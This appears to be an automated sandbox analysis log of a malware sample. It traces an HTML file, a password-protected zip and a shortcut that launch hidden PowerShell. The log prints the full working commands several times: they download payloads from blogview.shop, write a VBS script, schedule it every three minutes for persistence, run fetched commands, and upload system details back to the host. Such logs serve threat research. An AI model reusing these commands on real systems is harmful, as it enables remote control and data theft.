Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_03

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: g3Wg5cdIcT.html

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\g3Wg5cdIcT.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1980,i,9620083289215155752,12996393152971919094,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\748-929-24.zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp" "C:\Users\user\Downloads\748-929-24.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\appdata\local\temp\748-929-24.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,12076860377407532846,4455740521908346531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1980,i,9620083289215155752,12996393152971919094,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\748-929-24.zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp" "C:\Users\user\Downloads\748-929-24.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\appdata\local\temp\748-929-24.html	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,12076860377407532846,4455740521908346531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: 7z.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
